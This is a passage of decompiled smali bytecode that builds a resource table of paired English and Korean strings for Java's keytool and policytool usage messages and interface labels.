                                                                              1536const-string v3, "\t [-file <cert_file>] [-keypass <keypass>]"
                                                                              1537aput-object v3, v2, v4
                                                                              1539const-string v3, "\t [-file <\uc778\uc99d\uc11c \ud30c\uc77c>] [-keypass <\ud0a4 \uc554\ud638>]"
                                                                              1540aput-object v3, v2, v5
                                                                              1541aput-object v2, v0, v1
                                                                              1542const/16 v1, 0xab
                                                                              1543new-array v2, v6, [Ljava/lang/Object;
                                                                              1545const-string v3, "-importkeystore [-v] "
                                                                              1546aput-object v3, v2, v4
                                                                              1548const-string v3, "-importkeystore [-v] "
                                                                              1549aput-object v3, v2, v5
                                                                              1550aput-object v2, v0, v1
                                                                              1551const/16 v1, 0xac
                                                                              1552new-array v2, v6, [Ljava/lang/Object;
                                                                              1554const-string v3, "\t [-srckeystore <srckeystore>] [-destkeystore <deststoretype>]"
                                                                              1555aput-object v3, v2, v4
                                                                              1557const-string v3, "\t [-srckeystore <\uc18c\uc2a4 \ud0a4 \uc800\uc7a5\uc18c>] [-destkeystore <\ub300\uc0c1 \ud0a4 \uc800\uc7a5\uc18c>]"
                                                                              1558aput-object v3, v2, v5
                                                                              1559aput-object v2, v0, v1
                                                                              1560const/16 v1, 0xad
                                                                              1561new-array v2, v6, [Ljava/lang/Object;
                                                                              1563const-string v3, "\t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]"
                                                                              1564aput-object v3, v2, v4
                                                                              1566const-string v3, "\t [-srcstoretype <\uc18c\uc2a4 \uc800\uc7a5\uc18c \uc720\ud615>] [-deststoretype <\ub300\uc0c1 \uc800\uc7a5\uc18c \uc720\ud615>]"
                                                                              1567aput-object v3, v2, v5
                                                                              1568aput-object v2, v0, v1
                                                                              1569const/16 v1, 0xae
                                                                              1570new-array v2, v6, [Ljava/lang/Object;
                                                                              1572const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1573aput-object v3, v2, v4
                                                                              1575const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1576aput-object v3, v2, v5
                                                                              1577aput-object v2, v0, v1
                                                                              1578const/16 v1, 0xaf
                                                                              1579new-array v2, v6, [Ljava/lang/Object;
                                                                              1581const-string v3, "\t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]"
                                                                              1582aput-object v3, v2, v4
                                                                              1584const-string v3, "\t [-srcstorepass <\uc18c\uc2a4 \uc800\uc7a5\uc18c \uc554\ud638>] [-deststorepass <\ub300\uc0c1 \uc800\uc7a5\uc18c \uc554\ud638>]"
                                                                              1585aput-object v3, v2, v5
                                                                              1586aput-object v2, v0, v1
                                                                              1587const/16 v1, 0xb0
                                                                              1588new-array v2, v6, [Ljava/lang/Object;
                                                                              1590const-string v3, "\t [-srcprovidername <\uc18c\uc2a4 \uacf5\uae09\uc790 \uc774\ub984>]\n\t [-destprovidername <\ub300\uc0c1 \uacf5\uae09\uc790 \uc774\ub984>]"
                                                                              1591aput-object v3, v2, v4
                                                                              1593const-string v3, "\t [-srcprovidername <\uc18c\uc2a4 \uacf5\uae09\uc790 \uc774\ub984>]\n\t [-destprovidername <\ub300\uc0c1 \uacf5\uae09\uc790 \uc774\ub984>]"
                                                                              1594aput-object v3, v2, v5
                                                                              1595aput-object v2, v0, v1
                                                                              1596const/16 v1, 0xb1
                                                                              1597new-array v2, v6, [Ljava/lang/Object;
                                                                              1599const-string v3, "\t [-srcalias <srcalias> [-destalias <destalias>]"
                                                                              1600aput-object v3, v2, v4
                                                                              1602const-string v3, "\t [-srcalias <\uc18c\uc2a4 \ubcc4\uce6d> [-destalias <\ub300\uc0c1 \ubcc4\uce6d>]"
                                                                              1603aput-object v3, v2, v5
                                                                              1604aput-object v2, v0, v1
                                                                              1605const/16 v1, 0xb2
                                                                              1606new-array v2, v6, [Ljava/lang/Object;
                                                                              1608const-string v3, "\t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]"
                                                                              1609aput-object v3, v2, v4
                                                                              1611const-string v3, "\t [-srckeypass <\uc18c\uc2a4 \ud0a4 \uc554\ud638>] [-destkeypass <\ub300\uc0c1 \ud0a4 \uc554\ud638>]]"
                                                                              1612aput-object v3, v2, v5
                                                                              1613aput-object v2, v0, v1
                                                                              1614const/16 v1, 0xb3
                                                                              1615new-array v2, v6, [Ljava/lang/Object;
                                                                              1617const-string v3, "\t [-noprompt]"
                                                                              1618aput-object v3, v2, v4
                                                                              1620const-string v3, "\t [-noprompt]"
                                                                              1621aput-object v3, v2, v5
                                                                              1622aput-object v2, v0, v1
                                                                              1623const/16 v1, 0xb4
                                                                              1624new-array v2, v6, [Ljava/lang/Object;
                                                                              1626const-string v3, "-changealias [-v] [-protected] -alias <alias> -destalias <destalias>"
                                                                              1627aput-object v3, v2, v4
                                                                              1629const-string v3, "-changealias [-v] [-protected] -alias <\ubcc4\uce6d> -destalias <\ub300\uc0c1 \ubcc4\uce6d>"
                                                                              1630aput-object v3, v2, v5
                                                                              1631aput-object v2, v0, v1
                                                                              1632const/16 v1, 0xb5
                                                                              1633new-array v2, v6, [Ljava/lang/Object;
                                                                              1635const-string v3, "\t [-keypass <keypass>]"
                                                                              1636aput-object v3, v2, v4
                                                                              1638const-string v3, "\t [-keypass <\ud0a4 \uc554\ud638>]"
                                                                              1639aput-object v3, v2, v5
                                                                              1640aput-object v2, v0, v1
                                                                              1641const/16 v1, 0xb6
                                                                              1642new-array v2, v6, [Ljava/lang/Object;
                                                                              1644const-string v3, "-keypasswd [-v] [-alias <alias>]"
                                                                              1645aput-object v3, v2, v4
                                                                              1647const-string v3, "-keypasswd [-v] [-alias <\ubcc4\uce6d>]"
                                                                              1648aput-object v3, v2, v5
                                                                              1649aput-object v2, v0, v1
                                                                              1650const/16 v1, 0xb7
                                                                              1651new-array v2, v6, [Ljava/lang/Object;
                                                                              1653const-string v3, "\t [-keypass <old_keypass>] [-new <new_keypass>]"
                                                                              1654aput-object v3, v2, v4
                                                                              1656const-string v3, "\t [-keypass <\uae30\uc874 \ud0a4 \uc554\ud638>] [-new <\uc0c8 \ud0a4 \uc554\ud638>]"
                                                                              1657aput-object v3, v2, v5
                                                                              1658aput-object v2, v0, v1
                                                                              1659const/16 v1, 0xb8
                                                                              1660new-array v2, v6, [Ljava/lang/Object;
                                                                              1662const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1663aput-object v3, v2, v4
                                                                              1665const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1666aput-object v3, v2, v5
                                                                              1667aput-object v2, v0, v1
                                                                              1668const/16 v1, 0xb9
                                                                              1669new-array v2, v6, [Ljava/lang/Object;
                                                                              1671const-string v3, "\t [-alias <alias>]"
                                                                              1672aput-object v3, v2, v4
                                                                              1674const-string v3, "\t [-alias <\ubcc4\uce6d>]"
                                                                              1675aput-object v3, v2, v5
                                                                              1676aput-object v2, v0, v1
                                                                              1677const/16 v1, 0xba
                                                                              1678new-array v2, v6, [Ljava/lang/Object;
                                                                              1680const-string v3, "-printcert [-v] [-file <cert_file>]"
                                                                              1681aput-object v3, v2, v4
                                                                              1683const-string v3, "-printcert [-v] [-file <\uc778\uc99d\uc11c \ud30c\uc77c>]"
                                                                              1684aput-object v3, v2, v5
                                                                              1685aput-object v2, v0, v1
                                                                              1686const/16 v1, 0xbb
                                                                              1687new-array v2, v6, [Ljava/lang/Object;
                                                                              1689const-string v3, "\t [-alias <alias>]"
                                                                              1690aput-object v3, v2, v4
                                                                              1692const-string v3, "\t [-alias <\ubcc4\uce6d>]"
                                                                              1693aput-object v3, v2, v5
                                                                              1694aput-object v2, v0, v1
                                                                              1695const/16 v1, 0xbc
                                                                              1696new-array v2, v6, [Ljava/lang/Object;
                                                                              1698const-string v3, "-storepasswd [-v] [-new <new_storepass>]"
                                                                              1699aput-object v3, v2, v4
                                                                              1701const-string v3, "-storepasswd [-v] [-new <\uc0c8 \uc800\uc7a5\uc18c \uc554\ud638>]"
                                                                              1702aput-object v3, v2, v5
                                                                              1703aput-object v2, v0, v1
                                                                              1704const/16 v1, 0xbd
                                                                              1705new-array v2, v6, [Ljava/lang/Object;
                                                                              1707const-string v3, "Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured."
                                                                              1708aput-object v3, v2, v4
                                                                              1710const-string v3, "\uacbd\uace0:\t \ubcc4\uce6d {0}\uc5d0 \ub300\ud55c \uacf5\uac1c \ud0a4\uac00 \uc5c6\uc2b5\ub2c8\ub2e4. \ud0a4 \uc800\uc7a5\uc18c\uac00 \uc81c\ub300\ub85c \uad6c\uc131\ub418\uc5b4 \uc788\ub294\uc9c0 \ud655\uc778\ud558\uc2ed\uc2dc\uc624."
                                                                              1711aput-object v3, v2, v5
                                                                              1712aput-object v2, v0, v1
                                                                              1713const/16 v1, 0xbe
                                                                              1714new-array v2, v6, [Ljava/lang/Object;
                                                                              1716const-string v3, "Warning: Class not found: class"
                                                                              1717aput-object v3, v2, v4
                                                                              1719const-string v3, "\uacbd\uace0: \ud074\ub798\uc2a4\ub97c \ucc3e\uc744 \uc218 \uc5c6\uc74c: {0}"
                                                                              1720aput-object v3, v2, v5
                                                                              1721aput-object v2, v0, v1
                                                                              1722const/16 v1, 0xbf
                                                                              1723new-array v2, v6, [Ljava/lang/Object;
                                                                              1725const-string v3, "Warning: Invalid argument(s) for constructor: {0}"
                                                                              1726aput-object v3, v2, v4
                                                                              1728const-string v3, "\uacbd\uace0:\t \uc798\ubabb\ub41c \uad6c\uc131\uc790 \uc778\uc218: {0}"
                                                                              1729aput-object v3, v2, v5
                                                                              1730aput-object v2, v0, v1
                                                                              1731const/16 v1, 0xc0
                                                                              1732new-array v2, v6, [Ljava/lang/Object;
                                                                              1734const-string v3, "Illegal Principal Type: type"
                                                                              1735aput-object v3, v2, v4
                                                                              1737const-string v3, "\uc798\ubabb\ub41c \uae30\ubcf8 \uc720\ud615: {0}"
                                                                              1738aput-object v3, v2, v5
                                                                              1739aput-object v2, v0, v1
                                                                              1740const/16 v1, 0xc1
                                                                              1741new-array v2, v6, [Ljava/lang/Object;
                                                                              1743const-string v3, "Illegal option: option"
                                                                              1744aput-object v3, v2, v4
                                                                              1746const-string v3, "\uc798\ubabb\ub41c \uc635\uc158: {0}"
                                                                              1747aput-object v3, v2, v5
                                                                              1748aput-object v2, v0, v1
                                                                              1749const/16 v1, 0xc2
                                                                              1750new-array v2, v6, [Ljava/lang/Object;
                                                                              1752const-string v3, "Usage: policytool [options]"
                                                                              1753aput-object v3, v2, v4
                                                                              1755const-string v3, "\uc0ac\uc6a9\ubc95: policytool [\uc635\uc158]"
                                                                              1756aput-object v3, v2, v5
                                                                              1757aput-object v2, v0, v1
                                                                              1758const/16 v1, 0xc3
                                                                              1759new-array v2, v6, [Ljava/lang/Object;
                                                                              1761const-string v3, " [-file <file>] policy file location"
                                                                              1762aput-object v3, v2, v4
                                                                              1764const-string v3, " [-file <\ud30c\uc77c>] \uc815\ucc45 \ud30c\uc77c \uc704\uce58"
                                                                              1765aput-object v3, v2, v5
                                                                              1766aput-object v2, v0, v1
                                                                              1767const/16 v1, 0xc4
                                                                              1768new-array v2, v6, [Ljava/lang/Object;
                                                                              1770const-string v3, "New"
                                                                              1771aput-object v3, v2, v4
                                                                              1773const-string v3, "\uc0c8\ub85c \ub9cc\ub4e4\uae30"
                                                                              1774aput-object v3, v2, v5
                                                                              1775aput-object v2, v0, v1
                                                                              1776const/16 v1, 0xc5
                                                                              1777new-array v2, v6, [Ljava/lang/Object;
                                                                              1779const-string v3, "Open"
                                                                              1780aput-object v3, v2, v4
                                                                              1782const-string v3, "\uc5f4\uae30"
                                                                              1783aput-object v3, v2, v5
                                                                              1784aput-object v2, v0, v1
                                                                              1785const/16 v1, 0xc6
                                                                              1786new-array v2, v6, [Ljava/lang/Object;
                                                                              1788const-string v3, "Save"
                                                                              1789aput-object v3, v2, v4
                                                                              1791const-string v3, "\uc800\uc7a5"
                                                                              1792aput-object v3, v2, v5
                                                                              1793aput-object v2, v0, v1
                                                                              1794const/16 v1, 0xc7
                                                                              1795new-array v2, v6, [Ljava/lang/Object;
                                                                              1797const-string v3, "Save As"
                                                                              1798aput-object v3, v2, v4
                                                                              1800const-string v3, "\ub2e4\ub978 \uc774\ub984\uc73c\ub85c \uc800\uc7a5"
                                                                              1801aput-object v3, v2, v5
                                                                              1802aput-object v2, v0, v1
                                                                              1803const/16 v1, 0xc8
                                                                              1804new-array v2, v6, [Ljava/lang/Object;
                                                                              1806const-string v3, "View Warning Log"
                                                                              1807aput-object v3, v2, v4
                                                                              1809const-string v3, "\uacbd\uace0 \ub85c\uadf8 \ubcf4\uae30"
                                                                              1810aput-object v3, v2, v5
                                                                              1811aput-object v2, v0, v1
                                                                              1812const/16 v1, 0xc9
                                                                              1813new-array v2, v6, [Ljava/lang/Object;
                                                                              1815const-string v3, "Exit"
                                                                              1816aput-object v3, v2, v4
                                                                              1818const-string v3, "\uc885\ub8cc"
                                                                              1819aput-object v3, v2, v5
                                                                              1820aput-object v2, v0, v1
                                                                              1821const/16 v1, 0xca
                                                                              1822new-array v2, v6, [Ljava/lang/Object;
                                                                              1824const-string v3, "Add Policy Entry"
                                                                              1825aput-object v3, v2, v4
                                                                              1827const-string v3, "\uc815\ucc45 \ud56d\ubaa9 \ucd94\uac00"
                                                                              1828aput-object v3, v2, v5
                                                                              1829aput-object v2, v0, v1
                                                                              1830const/16 v1, 0xcb
                                                                              1831new-array v2, v6, [Ljava/lang/Object;
                                                                              1833const-string v3, "Edit Policy Entry"
                                                                              1834aput-object v3, v2, v4
                                                                              1836const-string v3, "\uc815\ucc45 \ud56d\ubaa9 \ud3b8\uc9d1"
                                                                              1837aput-object v3, v2, v5
                                                                              1838aput-object v2, v0, v1
                                                                              1839const/16 v1, 0xcc
                                                                              1840new-array v2, v6, [Ljava/lang/Object;
                                                                              1842const-string v3, "Remove Policy Entry"
                                                                              1843aput-object v3, v2, v4
                                                                              1845const-string v3, "\uc815\ucc45 \ud56d\ubaa9 \uc81c\uac70"
                                                                              1846aput-object v3, v2, v5
                                                                              1847aput-object v2, v0, v1
                                                                              1848const/16 v1, 0xcd
                                                                              1849new-array v2, v6, [Ljava/lang/Object;
                                                                              1851const-string v3, "Edit"
                                                                              1852aput-object v3, v2, v4
                                                                              1854const-string v3, "\ud3b8\uc9d1"
                                                                              1855aput-object v3, v2, v5
                                                                              1856aput-object v2, v0, v1
                                                                              1857const/16 v1, 0xce
                                                                              1858new-array v2, v6, [Ljava/lang/Object;
                                                                              1860const-string v3, "Retain"
                                                                              1861aput-object v3, v2, v4
                                                                              1863const-string v3, "\uc720\uc9c0"
                                                                              1864aput-object v3, v2, v5
                                                                              1865aput-object v2, v0, v1
                                                                              1866const/16 v1, 0xcf
                                                                              1867new-array v2, v6, [Ljava/lang/Object;
                                                                              1869const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1870aput-object v3, v2, v4
                                                                              1872const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1873aput-object v3, v2, v5
                                                                              1874aput-object v2, v0, v1
                                                                              1875const/16 v1, 0xd0
                                                                              1876new-array v2, v6, [Ljava/lang/Object;
                                                                              1878const-string v3, "Add Public Key Alias"
                                                                              1879aput-object v3, v2, v4
                                                                              1881const-string v3, "\uacf5\uac1c \ud0a4 \ubcc4\uce6d \ucd94\uac00"
                                                                              1882aput-object v3, v2, v5
                                                                              1883aput-object v2, v0, v1
                                                                              1884const/16 v1, 0xd1
                                                                              1885new-array v2, v6, [Ljava/lang/Object;
                                                                              1887const-string v3, "Remove Public Key Alias"
                                                                              1888aput-object v3, v2, v4
                                                                              1890const-string v3, "\uacf5\uac1c \ud0a4 \ubcc4\uce6d \uc81c\uac70"
                                                                              1891aput-object v3, v2, v5
                                                                              1892aput-object v2, v0, v1
                                                                              1893const/16 v1, 0xd2
                                                                              1894new-array v2, v6, [Ljava/lang/Object;
                                                                              1896const-string v3, "File"
                                                                              1897aput-object v3, v2, v4
                                                                              1899const-string v3, "\ud30c\uc77c"
                                                                              1900aput-object v3, v2, v5
                                                                              1901aput-object v2, v0, v1
                                                                              1902const/16 v1, 0xd3
                                                                              1903new-array v2, v6, [Ljava/lang/Object;
                                                                              1905const-string v3, "KeyStore"
                                                                              1906aput-object v3, v2, v4
                                                                              1908const-string v3, "\ud0a4 \uc800\uc7a5\uc18c"
                                                                              1909aput-object v3, v2, v5
                                                                              1910aput-object v2, v0, v1
                                                                              1911const/16 v1, 0xd4
                                                                              1912new-array v2, v6, [Ljava/lang/Object;
                                                                              1914const-string v3, "Policy File:"
                                                                              1915aput-object v3, v2, v4
                                                                              1917const-string v3, "\uc815\ucc45 \ud30c\uc77c:"
                                                                              1918aput-object v3, v2, v5
                                                                              1919aput-object v2, v0, v1
                                                                              1920const/16 v1, 0xd5
                                                                              1921new-array v2, v6, [Ljava/lang/Object;
                                                                              1923const-string v3, "Could not open policy file: policyFile: e.toString()"
                                                                              1924aput-object v3, v2, v4
                                                                              1926const-string v3, "\uc815\ucc45 \ud30c\uc77c\uc744 \uc5f4\uc9c0 \ubabb\ud588\uc2b5\ub2c8\ub2e4. {0}: {1}"
                                                                              1927aput-object v3, v2, v5
                                                                              1928aput-object v2, v0, v1
                                                                              1929const/16 v1, 0xd6
                                                                              1930new-array v2, v6, [Ljava/lang/Object;
                                                                              1932const-string v3, "Policy Tool"
                                                                              1933aput-object v3, v2, v4
                                                                              1935const-string v3, "\uc815\ucc45 \ub3c4\uad6c"
                                                                              1936aput-object v3, v2, v5
                                                                              1937aput-object v2, v0, v1
                                                                              1938const/16 v1, 0xd7
                                                                              1939new-array v2, v6, [Ljava/lang/Object;
                                                                              1941const-string v3, "Errors have occurred while opening the policy configuration. View the Warning Log for more information."
                                                                              1942aput-object v3, v2, v4
                                                                              1944const-string v3, "\uc815\ucc45 \uad6c\uc131\uc744 \uc5ec\ub294 \ub3d9\uc548 \uc624\ub958\uac00 \ubc1c\uc0dd\ud588\uc2b5\ub2c8\ub2e4. \uc790\uc138\ud55c \ub0b4\uc6a9\uc740 \uacbd\uace0 \ub85c\uadf8\ub97c \ubcf4\uc2ed\uc2dc\uc624."
                                                                              1945aput-object v3, v2, v5
                                                                              1946aput-object v2, v0, v1
                                                                              1947const/16 v1, 0xd8
                                                                              1948new-array v2, v6, [Ljava/lang/Object;
                                                                              1950const-string v3, "Error"
                                                                              1951aput-object v3, v2, v4
                                                                              1953const-string v3, "\uc624\ub958"
                                                                              1954aput-object v3, v2, v5
                                                                              1955aput-object v2, v0, v1
                                                                              1956const/16 v1, 0xd9
                                                                              1957new-array v2, v6, [Ljava/lang/Object;
                                                                              1959const-string v3, "OK"
                                                                              1960aput-object v3, v2, v4
                                                                              1962const-string v3, "\ud655\uc778"
                                                                              1963aput-object v3, v2, v5
                                                                              1964aput-object v2, v0, v1
                                                                              1965const/16 v1, 0xda
                                                                              1966new-array v2, v6, [Ljava/lang/Object;
                                                                              1968const-string v3, "Status"
                                                                              1969aput-object v3, v2, v4
                                                                              1971const-string v3, "\uc0c1\ud0dc"
                                                                              1972aput-object v3, v2, v5
                                                                              1973aput-object v2, v0, v1
                                                                              1974const/16 v1, 0xdb
                                                                              1975new-array v2, v6, [Ljava/lang/Object;
                                                                              1977const-string v3, "Warning"
                                                                              1978aput-object v3, v2, v4
                                                                              1980const-string v3, "\uacbd\uace0"
                                                                              1981aput-object v3, v2, v5
                                                                              1982aput-object v2, v0, v1
                                                                              1983const/16 v1, 0xdc
                                                                              1984new-array v2, v6, [Ljava/lang/Object;
                                                                              1986const-string v3, "Permission: "
                                                                              1987aput-object v3, v2, v4
                                                                              1989const-string v3, "\uc0ac\uc6a9 \uad8c\ud55c: "
                                                                              1990aput-object v3, v2, v5
                                                                              1991aput-object v2, v0, v1
                                                                              1992const/16 v1, 0xdd
                                                                              1993new-array v2, v6, [Ljava/lang/Object;
                                                                              1995const-string v3, "Principal Type:"
                                                                              1996aput-object v3, v2, v4
                                                                              1998const-string v3, "Principal \uc720\ud615:"
                                                                              1999aput-object v3, v2, v5
                                                                              2000aput-object v2, v0, v1
                                                                              2001const/16 v1, 0xde
                                                                              2002new-array v2, v6, [Ljava/lang/Object;
                                                                              2004const-string v3, "Principal Name:"
                                                                              2005aput-object v3, v2, v4
                                                                              2007const-string v3, "Principal \uc774\ub984:"
                                                                              2008aput-object v3, v2, v5
                                                                              2009aput-object v2, v0, v1
                                                                              2010const/16 v1, 0xdf
                                                                              2011new-array v2, v6, [Ljava/lang/Object;
                                                                              2013const-string v3, "Target Name: "
                                                                              2014aput-object v3, v2, v4
                                                                              2016const-string v3, "\ub300\uc0c1 \uc774\ub984: "
                                                                              2017aput-object v3, v2, v5
                                                                              2018aput-object v2, v0, v1
                                                                              2019const/16 v1, 0xe0
                                                                              2020new-array v2, v6, [Ljava/lang/Object;
                                                                              2022const-string v3, "Actions: "
                                                                              2023aput-object v3, v2, v4
                                                                              2025const-string v3, "\uc791\uc5c5: "
                                                                              2026aput-object v3, v2, v5
                                                                              2027aput-object v2, v0, v1
                                                                              2028const/16 v1, 0xe1
                                                                              2029new-array v2, v6, [Ljava/lang/Object;
                                                                              2031const-string v3, "OK to overwrite existing file filename?"
                                                                              2032aput-object v3, v2, v4
                                                                              2034const-string v3, "\uae30\uc874 \ud30c\uc77c {0}\uc744(\ub97c) \uacb9\uccd0\uc4f0\uc2dc\uaca0\uc2b5\ub2c8\uae4c?"
                                                                              2035aput-object v3, v2, v5
                                                                              2036aput-object v2, v0, v1
                                                                              2037const/16 v1, 0xe2
                                                                              2038new-array v2, v6, [Ljava/lang/Object;
                                                                              2040const-string v3, "Cancel"
                                                                              2041aput-object v3, v2, v4
                                                                              2043const-string v3, "\ucde8\uc18c"
                                                                              2044aput-object v3, v2, v5
                                                                              2045aput-object v2, v0, v1
                                                                              2046const/16 v1, 0xe3
                                                                              2047new-array v2, v6, [Ljava/lang/Object;
                                                                              2049const-string v3, "CodeBase:"
                                                                              2050aput-object v3, v2, v4
                                                                              2052const-string v3, "CodeBase:"
                                                                              2053aput-object v3, v2, v5
                                                                              2054aput-object v2, v0, v1
                                                                              2055const/16 v1, 0xe4
                                                                              2056new-array v2, v6, [Ljava/lang/Object;
                                                                              2058const-string v3, "SignedBy:"
                                                                              2059aput-object v3, v2, v4
                                                                              2061const-string v3, "SignedBy:"
                                                                              2062aput-object v3, v2, v5
                                                                              2063aput-object v2, v0, v1
                                                                              2064const/16 v1, 0xe5
                                                                              2065new-array v2, v6, [Ljava/lang/Object;
                                                                              2067const-string v3, "Add Principal"
                                                                              2068aput-object v3, v2, v4
                                                                              2070const-string v3, "Principal \ucd94\uac00"
                                                                              2071aput-object v3, v2, v5
                                                                              2072aput-object v2, v0, v1
                                                                              2073const/16 v1, 0xe6
                                                                              2074new-array v2, v6, [Ljava/lang/Object;
                                                                              2076const-string v3, "Edit Principal"
                                                                              2077aput-object v3, v2, v4
                                                                              2079const-string v3, "Principal \ud3b8\uc9d1"
                                                                              2080aput-object v3, v2, v5
                                                                              2081aput-object v2, v0, v1
                                                                              2082const/16 v1, 0xe7
                                                                              2083new-array v2, v6, [Ljava/lang/Object;
                                                                              2085const-string v3, "Remove Principal"
                                                                              2086aput-object v3, v2, v4
                                                                              2088const-string v3, "Principal \uc81c\uac70"
                                                                              2089aput-object v3, v2, v5
                                                                              2090aput-object v2, v0, v1
                                                                              2091const/16 v1, 0xe8
                                                                              2092new-array v2, v6, [Ljava/lang/Object;
                                                                              2094const-string v3, "Principals:"
                                                                              2095aput-object v3, v2, v4
                                                                              2097const-string v3, "Principals:"
                                                                              2098aput-object v3, v2, v5
                                                                              2099aput-object v2, v0, v1
                                                                              2100const/16 v1, 0xe9
                                                                              2101new-array v2, v6, [Ljava/lang/Object;
                                                                              2103const-string v3, " Add Permission"
                                                                              2104aput-object v3, v2, v4
                                                                              2106const-string v3, " \uc0ac\uc6a9 \uad8c\ud55c \ucd94\uac00"
                                                                              2107aput-object v3, v2, v5
                                                                              2108aput-object v2, v0, v1
                                                                              2109const/16 v1, 0xea
                                                                              2110new-array v2, v6, [Ljava/lang/Object;
                                                                              2112const-string v3, " Edit Permission"
                                                                              2113aput-object v3, v2, v4
                                                                              2115const-string v3, " \uc0ac\uc6a9 \uad8c\ud55c \ud3b8\uc9d1"
                                                                              2116aput-object v3, v2, v5
                                                                              2117aput-object v2, v0, v1
                                                                              2118const/16 v1, 0xeb
                                                                              2119new-array v2, v6, [Ljava/lang/Object;
                                                                              2121const-string v3, "Remove Permission"
                                                                              2122aput-object v3, v2, v4
                                                                              2124const-string v3, "\uc0ac\uc6a9 \uad8c\ud55c \uc81c\uac70"
                                                                              2125aput-object v3, v2, v5
                                                                              2126aput-object v2, v0, v1
                                                                              2127const/16 v1, 0xec
                                                                              2128new-array v2, v6, [Ljava/lang/Object;
                                                                              2130const-string v3, "Done"
                                                                              2131aput-object v3, v2, v4
                                                                              2133const-string v3, "\uc644\ub8cc"
                                                                              2134aput-object v3, v2, v5
                                                                              2135aput-object v2, v0, v1
                                                                              2136const/16 v1, 0xed
                                                                              2137new-array v2, v6, [Ljava/lang/Object;
                                                                              2139const-string v3, "KeyStore URL:"
                                                                              2140aput-object v3, v2, v4
                                                                              2142const-string v3, "\ud0a4 \uc800\uc7a5\uc18c URL:"
                                                                              2143aput-object v3, v2, v5
                                                                              2144aput-object v2, v0, v1
                                                                              2145const/16 v1, 0xee
                                                                              2146new-array v2, v6, [Ljava/lang/Object;
                                                                              2148const-string v3, "KeyStore Type:"
                                                                              2149aput-object v3, v2, v4
                                                                              2151const-string v3, "\ud0a4 \uc800\uc7a5\uc18c \uc720\ud615:"
                                                                              2152aput-object v3, v2, v5
                                                                              2153aput-object v2, v0, v1
                                                                              2154const/16 v1, 0xef
                                                                              2155new-array v2, v6, [Ljava/lang/Object;
                                                                              2157const-string v3, "KeyStore Provider:"
                                                                              2158aput-object v3, v2, v4
                                                                              2160const-string v3, "\ud0a4 \uc800\uc7a5\uc18c \uacf5\uae09\uc790:"
                                                                              2161aput-object v3, v2, v5
                                                                              2162aput-object v2, v0, v1
                                                                              2163const/16 v1, 0xf0
                                                                              2164new-array v2, v6, [Ljava/lang/Object;
                                                                              2166const-string v3, "KeyStore Password URL:"
                                                                              2167aput-object v3, v2, v4
                                                                              2169const-string v3, "\ud0a4 \uc800\uc7a5\uc18c \ube44\ubc00\ubc88\ud638 URL:"
                                                                              2170aput-object v3, v2, v5
                                                                              2171aput-object v2, v0, v1
                                                                              2172const/16 v1, 0xf1
                                                                              2173new-array v2, v6, [Ljava/lang/Object;
                                                                              2175const-string v3, "Principals"
                                                                              2176aput-object v3, v2, v4
                                                                              2178const-string v3, "Principals"
                                                                              2179aput-object v3, v2, v5
                                                                              2180aput-object v2, v0, v1
                                                                              2181const/16 v1, 0xf2
                                                                              2182new-array v2, v6, [Ljava/lang/Object;
                                                                              2184const-string v3, " Edit Principal:"
                                                                              2185aput-object v3, v2, v4
                                                                              2187const-string v3, " Principal \ud3b8\uc9d1:"
                                                                              2188aput-object v3, v2, v5
                                                                              2189aput-object v2, v0, v1
                                                                              2190const/16 v1, 0xf3
                                                                              2191new-array v2, v6, [Ljava/lang/Object;
                                                                              2193const-string v3, " Add New Principal:"
                                                                              2194aput-object v3, v2, v4
                                                                              2196const-string v3, " \uc0c8 Principal \ucd94\uac00:"
                                                                              2197aput-object v3, v2, v5
                                                                              2198aput-object v2, v0, v1
                                                                              2199const/16 v1, 0xf4
                                                                              2200new-array v2, v6, [Ljava/lang/Object;
                                                                              2202const-string v3, "Permissions"
                                                                              2203aput-object v3, v2, v4
                                                                              2205const-string v3, "\uc0ac\uc6a9 \uad8c\ud55c"
                                                                              2206aput-object v3, v2, v5
                                                                              2207aput-object v2, v0, v1
                                                                              2208const/16 v1, 0xf5
                                                                              2209new-array v2, v6, [Ljava/lang/Object;
                                                                              2211const-string v3, " Edit Permission:"
                                                                              2212aput-object v3, v2, v4
                                                                              2214const-string v3, " \uc0ac\uc6a9 \uad8c\ud55c \ud3b8\uc9d1:"
                                                                              2215aput-object v3, v2, v5
                                                                              2216aput-object v2, v0, v1
                                                                              2217const/16 v1, 0xf6
                                                                              2218new-array v2, v6, [Ljava/lang/Object;
                                                                              2220const-string v3, " Add New Permission:"
                                                                              2221aput-object v3, v2, v4
                                                                              2223const-string v3, " \uc0c8 \uc0ac\uc6a9 \uad8c\ud55c \ucd94\uac00:"
                                                                              2224aput-object v3, v2, v5
                                                                              2225aput-object v2, v0, v1
                                                                              2226const/16 v1, 0xf7
                                                                              2227new-array v2, v6, [Ljava/lang/Object;
                                                                              2229const-string v3, "Signed By:"
                                                                              2230aput-object v3, v2, v4
                                                                              2232const-string v3, "\uc11c\uba85\uc790:"
                                                                              2233aput-object v3, v2, v5
                                                                              2234aput-object v2, v0, v1
                                                                              2235const/16 v1, 0xf8
                                                                              2236new-array v2, v6, [Ljava/lang/Object;
                                                                              2238const-string v3, "Cannot Specify Principal with a Wildcard Class without a Wildcard Name"
                                                                              2239aput-object v3, v2, v4
                                                                              2241const-string v3, "\uc640\uc77c\ub4dc\uce74\ub4dc \uc774\ub984 \uc5c6\uc774 \uc640\uc77c\ub4dc\uce74\ub4dc \ud074\ub798\uc2a4\ub97c \uac00\uc9c4 Principal\uc744 \uc9c0\uc815\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4."
                                                                              2242aput-object v3, v2, v5
                                                                              2243aput-object v2, v0, v1
                                                                              2244const/16 v1, 0xf9
